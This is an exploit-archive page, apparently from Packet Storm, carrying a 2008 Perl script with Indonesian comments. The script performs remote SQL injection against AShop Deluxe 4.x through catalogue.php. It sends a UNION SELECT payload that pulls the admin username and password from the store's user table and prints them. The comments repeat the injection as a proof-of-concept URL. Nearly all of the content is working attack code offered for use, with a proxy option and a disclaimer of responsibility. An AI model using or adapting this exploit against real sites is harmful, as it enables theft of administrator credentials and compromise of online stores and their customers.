what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ashop-sql.txt

ashop-sql.txt
Posted Jul 1, 2008
Authored by n0c0py | Site n0c0py.uni.cc

AShop Deluxe version 4.x remote SQL injection exploit that takes advantage of catalogue.php.

tags | exploit, remote, php, sql injection
SHA-256 | f36545944e81034aeaf351e6c0dfd5724aba9efeed4cc0096f1fe9d966305f24

ashop-sql.txt

Change Mirror Download
#usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;
use URI::Escape;
#--------------------------------------------------------------------------------------------------------------------------------------------------------
# [x] AShop Deluxe 4.x Remote SQL inJection Exploit
# [x] Ditemukan Oleh : n0c0py - a.k.a 5iR. 4b03D
# [x] Pada Tanggal : 27 juni 2008
# [x] Vendor : http://www.ashopsoftware.com
# [x] Laporkan pada vendor : 28 Juni 2008 - PatCh ada pada veNdoR
# [x] Dork : -
# [x] Deskripsi : AShop Deluxe shopping cart software automates the processing of
# online orders and payments. It is a shopping cart plus an array of
# specialized tools to support various types of products and selling styles.
# The system automates redundant tasks, organizes data, and simplifies
# the daily operations of an online store.
#--------------------------------------------------------------------------------------------------------------------------------------------------------
#
# ===============================================================================================================#
# Konsep =>
# => http://victim.com/ashop/catalogue.php?cat=-99/**/union/**/select/**/1,0x76756C6E657261626C65/*
# => Versi dibawahnya juga memungkinkan memiliki kutu yang sama
# => password tidak ter-encode membuat eksploitasi semakin mudah
# [Catatan]
# n0c0py tidak bertanggung jawab atas penyalahgunaan exploit ini. Greetz:
# { k1tk4t, Autonux, keboaja, k0il, G1 }
# yogyafree => yadoy666, Xshadow, Jack, odod, ray16, indounderground, shadow angel dan segenap Tim
# newhack => fl3xu5, opt1|c, L4in
# masyarakat hacking indonesia [ yogyafree.net | newhack.org | mainhack.com | echo.or.id | kecoak-elektronik.net ]
# ================================================================================================================#
if (@ARGV < 1){

print"\nAshop Deluxe 4.x (catalogue.php)";
print"\nRemote SQL Injection Exploit ";
print"\ncoded by n0c0py ";
print"\n";
print"\n[!] Penggunaan : perl $0 [Host] [Path] <Options>";
print"\n[!] Contoh : perl $0 127.0.0.1 /ashop ";
print"\n[!] Pilihan :";
print"\n -p [ip:port] Proxy support ";
print"\n";
exit;
}

print "[+] melakukan eksploitasi...\n";

eksploitasi();

print "\n[+] Bravo!! :D";
print "\n[+] Eksploitasi Selesai Boss!! :D\n";

sub eksploitasi

{
my $host = $ARGV[0];
my $path = $ARGV[1];
my %options = ();
GetOptions(\%options, "p=s");
my $url = "http://".$host.$path."/catalogue.php";
my $sploit = "?cat=-99/**/union/**/select/**/1,concat(0x3a3a3a,username,0x3a3a,password,0x3a3a3a)/**/from/**/user/*";
my $exploit= $url.$sploit;
my $ua = LWP::UserAgent->new();
my $res = "";
my $content="";
my $regex = "";
if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}
#[------------------------------]
# Apakah file eksis?
#[------------------------------]
$res = $ua->get($url);
if(!$res->is_success)
{
print("[+] Gagal! file tidak ditemukan!\n");
print $res->status_line();
}
#[-------------------------]
# Eksploitasi
#[-------------------------]
$res = $ua->get($exploit);
$content = $res->content;
if ($content =~ /:::(.+):::/)
{
$regex=$1;
($pengguna,$password)= split('::',$regex);
printf " [x]nama admin = $pengguna \n [x]password admin = $password\n";
}
else { die "Gagal mengeksploitasi :p \n";
}

}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close